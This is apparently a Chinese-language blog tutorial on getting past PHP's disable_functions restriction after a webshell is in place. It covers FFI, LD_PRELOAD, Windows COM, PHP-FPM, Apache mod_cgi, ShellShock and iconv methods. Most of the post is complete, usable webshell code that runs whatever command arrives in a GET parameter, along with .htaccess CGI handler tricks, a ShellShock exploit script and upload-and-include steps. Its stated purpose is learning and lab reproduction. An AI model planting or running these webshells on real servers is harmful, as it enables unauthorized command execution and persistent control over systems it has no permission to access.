0%

Disable_functions Bypass

通常情况下 导致webshell不能执行命令又三类原因:

    1. php.ini中使用disable_funcitons禁用了system() exec()等命令执行的函数
    1. 有WAF拦截
    1. web进程运行在rbash类受限制的shell环境下

如果是第一种则无法执行任何命令,另外两种可以执行少量命令。

在拿到的有些 webshell中,在执行命令时返回 ret=127,这是由于disable_functions 的限制,最近有面试官问到过这个问题,但是由于很久没接触,以前大多是使用蚁剑插件绕过,在总结复现学习下bypass技巧。

Disable_functions

disable_functions 是 php.ini中的一个设置选项,可以用来设置php环境禁止使用某些函数,主要是用来禁止某些能够执行危险命令的函数

img

通常在拿到一个webshell 使用管理工具连接执行命令却返回 ret=127 这种就是被disable_functions 所限制了。

黑名单绕过

有些运维人员可能没有将php命令执行的函数禁用完,

1
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open

利用PHP 7.4 FFI 绕过

利用条件
  1. Linux 操作系统
  2. PHP>= 7.4
  3. 开启了FFI拓展且 ffi.enable=true
利用原理

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。

当所有的PHP命令执行的函数被禁用后,可以用过PHP7.4的新特性FFI调用C代码的方式。

先声明C中的命令执行函数「system()」,在通过FFI变量调用system() 绕过PHP中的system函数

查看FFI是否开启 ffi.enable 设置为TRUE

img
利用方法

使用 FFI::cdef //创建一个新的FFI对象

通过C 的 system()去执行命令

1
2
3
4
5
6
7
<?php
$cmd=$_GET['cmd'];
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("$cmd > /tmp/SD"); //由GET传参的任意代码执行
echo file_get_contents("/tmp/SD");
@unlink("/tmp/SD");
?>

访问 ip/1.php?cmd=whoami

利用Linux环境变量 LD_PRELOAD绕过

LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载

一般情况下动态库的搜索顺序:

  • 编译目标代码时知道的动态库搜索路径LD_PRELOAD
  • 环境变量LD_LIBRARY_PATH指定的动态库搜索路径
  • 配置文件/etc/ld.so.conf中指定的动态库搜索路径
  • 默认的动态库搜索路径 /lib
  • 默认的动态库搜索路径 /usr/lib

LD_PRELOAD的优先级最高,因而可以影响程序运行时的链接,运行程序运行前优先加载动态链接库。

可以通过环境变量LD_PRELOAD劫持系统函数,可以达到不调用PHP的各种命令执行函数「system() exec()等」仍可执行系统命令的目的。

利用思路

1.本地伪造.c 文件劫持某个函数并生成一个动态链接库.so 文件

2.上传文件到服务器有权限的目录下

3.利用php中的putenv()设置LD_PRELOAD路径为该文件

4.配合php中某个函数去厨房构造的动态链接库 .so文件

5.执行命令

利用条件

PHP支持putenv() mail()函数 「无需安装sendmail」

文章可见 https://www.freebuf.com/web/192052.html

利用方法

项目地址: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

该项目中有三个关键文件,bypass_disablefunc.php、bypass_disablefunc_x64.so、bypass_disablefunc_x86.so。

bypass_disablefunc.php 为命令执行 webshell,提供三个 GET 参数:

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

cmd参数 执行命令

outpath参数 保存命令执行输出结果的文件路径「注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点」

sopath参数 指定劫持系统函数的共享对象的绝对路径

将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 传到目标有权限的目录下,指定好三个 GET 参数后,并用include去包含bypass_disablefunc.php 即可突破 disable_functions。

利用Windows COM组件绕过

利用条件

1.Windows环境

2.开启COM组件「5.4自带 其他版本自行添加」

img

如果在phpinfo中 com_dotnet下 com.allow_dcom 表示COM组件开启。可以直接实例化一个COM对象,通过调用对象方法来执行系统命令以绕过disable_functions

利用方法

上传php脚本 后传参执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!"); //生成一个COM对象
$exec = $wshit->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>

利用攻击PHP-FPM

利用条件
  1. Linux操作系统
  2. PHP-FPM
  3. 存在可写目录 需上传.so文件
漏洞环境

https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5

git clone https://github.com/AntSwordProject/AntSword-Labs.git

cd AntSword-Labs/bypass_disable_functions/5

docker-compose up -d

利用方法

连接shell后无法执行命令

img

通过phpinfo 发现该主机配置了 FPM/Fastcgi

img

使用插件

需要先找到FPM接口地址

img
img

随后在 /var/www/html/ 目录下便新建了一个 .antproxy.php文件「ant」 连接shell后便可执行命令

img

利用Apache Mod CGI

利用条件
  1. Linux操作系统
  2. Apache + PHP「Apache使用 apache_mod_php」
  3. Apche开启 cgi和rewrite
  4. Web目录具有AllowOverride 权限
  5. 当前目录可写
关于mod_cgi

http://httpd.apache.org/docs/current/mod/mod_cgi.html

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。

可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。

当Apache 开启了cgi, rewrite时,可以利用.htaccess文件,临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置。

利用方法

1.在web目录下上传一个 .htaccess 文件

1
2
Options +ExecCGI
AddHandler cgi-script .ant

2.上传shell.ant

1
2
3
4
#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id

直接访问 shell.ant 会报错,是因为权限问题

img

3.使用蚁剑直接修改权限 从0644-> 0777

img

再次访问即可

img

使用蚁剑插件的方式

img

点击开始后 会创建 一个新的 虚拟终端

img

可以直接执行命令

img

利用ShellShock CVE-2014-6271

利用条件
  1. Linux 操作系统
  2. putenv
  3. mail or error_log 不被禁用
  4. /bin/bash 存在 CVE-2014-6271漏洞 (bash<=4.3)/bin/sh -> /bin/bash sh默认的shell是bash
  5. PHP < 5.6.2
利用方法

测试是否存在该漏洞

命令行输入 env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果输出 vulnerable 说明存在该漏洞

img
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function runcmd($c){
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
$tmp=tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_exists('error_log')) {
error_log("a", 1);
}else{
mail("a@127.0.0.1", "", "", "-bv");
}
}else{
print("Not vuln (not bash)\n");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output!=""){
print($output);
}else{
print("No output, or not vuln.");
}
}else{
print("不满足使用条件");
}
}

// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>

上传该exp_cve2014-6271.php 到目标主机

包含文件即可

img

在蚁剑虚拟终端上已经集成了对ShellShock的利用 可以在终端上直接执行命令

利用iconv拓展

利用条件
  1. Linux操作系统
  2. putenv
  3. iconv
  4. 存在可写目录 上传.so文件
  5. 相比LD_PRELOAD环境下 多禁用了error_log
利用原理
1
2
3
4
<?php
putenv("GCONV_PATH=/tmp");
iconv("payload", "UTF-8", "whatever");
?>

利用GCONV_PATH环境变量 加载 .so文件并在.so文件中执行命令

具体原理分析可见 https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/

利用方法

直接使用蚁剑的插件

img

可以看到在 /var/www/html/目录下创建一个 .antproxy.php 的shell文件 连接后即可执行命令

References

https://blog.csdn.net/unexpectedthing/article/details/123782308

https://xz.aliyun.com/t/10057#toc-7

https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------